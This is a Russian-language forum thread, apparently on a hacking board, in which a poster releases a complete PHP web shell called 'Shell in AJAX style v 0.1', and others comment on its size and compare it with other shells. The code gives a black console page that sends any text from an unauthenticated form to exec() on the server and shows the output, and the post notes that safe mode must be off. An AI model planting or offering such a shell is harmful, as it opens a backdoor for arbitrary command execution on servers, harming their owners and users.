Вроде нигде не видел такую реализацию, а посему решили со знакомым попробовать Итак, на момент релиза первой стейбл версии мы имеем - просто форму для ввода команд и получения их результата без перезагрузки страницы следовательно мы имеем экономию трафика и вебдванольный эффект =) Хочется полностью построить полноценный веб-шелл на аяксе Будем радовать релизами P.S. На сервере сейф-мод должен быть отключен Код ниже PHP: <?php /** * * Shell in AJAX style v 0.1 * Idea of _Master- * Coding by Kirpichtion * */ if ( ! isset( $_POST['q'] ) ) echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Shell in AJAX style</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type"text/css"> BODY { font: 80% Dialog; color: rgb(187, 187, 187); background-color: #000; margin: 0px; padding: 0px; } FORM { padding: 20px; margin: 0; } #query input { font-family: Dialog; background-color: transparent; color: rgb(187, 187, 187); border: 1px inset rgb(187, 187, 187); width: 100%; padding: 6px; } #result div { padding: 20px; } </style> <script launguage="Javascript" type="text/javascript"> window.onload = function() { var form = document.getElementById( \'query\' ); var input = form.getElementsByTagName( \'INPUT\' ).item(0); form.onsubmit = function() { return sendQuery(); } input.value = \'\'; input.focus(); } function insertResult( request ) { var result = document.getElementById( \'result\' ); var div = result.getElementsByTagName( \'DIV\' ).item(0); var form = document.getElementById( \'query\' ); var input = form.getElementsByTagName( \'INPUT\' ).item(0); div.innerHTML = request.responseText; input.value = \'\'; input.focus(); } function sendQuery() { var form = document.getElementById( \'query\' ); var query = document.getElementsByTagName( \'INPUT\' ).item(0).value; httpRequest( form.action, \'POST\', \'q=\' + query, insertResult ); return false; } function httpRequest( url, method, params, func ) { var msxmlhttp = new Array( \'Msxml2.XMLHTTP.5.0\', \'Msxml2.XMLHTTP.4.0\', \'Msxml2.XMLHTTP.3.0\', \'Msxml2.XMLHTTP\', \'Microsoft.XMLHTTP\'); if ( window.XMLHttpRequest ) { request = new XMLHttpRequest; if ( request.overrideMimeType ) { request.overrideMimeType( \'text/xml\' ); } } else if ( window.ActiveXObject ) { for ( var i = 0; i < msxmlhttp.length; i ++ ) { try { request = new ActiveXObject( msxmlhttp[i] ); } catch ( e ) { request = false; } } } if ( ! request ) { alert( \'Can\\\'t creare XMLHTTP instance :(\' ); return false; } request.onreadystatechange = function() { if ( request.readyState == 4 ) { if ( request.status == 200 ) { func( request ); } else { alert( \'There was a problem with the request :(\' ); } } } request.open( method, url, true ); request.setRequestHeader( \'Content-Type\', \'application/x-www-form-urlencoded\' ); request.send( params ); } </script> </head> <body> <form action="' . basename( __FILE__ ) . '" id="query"> <div> <input type="text" /> </div> </form> <div id="result"> <div></div> </div> </body> </html>'; else { exec( $_POST['q'], $result ); echo nl2br( htmlentities( join( "\n", $result ) ) ); } ?> О всех найденных багах и все пожелания постим тут. Мой респект Kirpichtion
экономия трафика и нервов Ну нравится мне вебдванольные штуки Это плохо? ) Нравится когда сервер отвечает без презагрузки страницы
ну если допишите до полноценного шелла то хз пусть будет --- тогда похвалю -- развивайте идею -- хотя мне тоже непонятно зачем и интересно сколько в итоге этот монстр будет весить =) -- rst у нас 80 кило весит ну пусть вы даже перепишите половину функций в ваш шелл --- ну я думаю в метр должны вложиться
Какой метр нафиг переписывать функции зачем? Ты понимаешь что такое ajax это считай как html только динамический контент. Самая большая часть будет в ксс далее все можно уложить в пару функций и далле просто вставлять их в диз, ну если не делать дохера картинок и так далее, линий загрузки к примеру.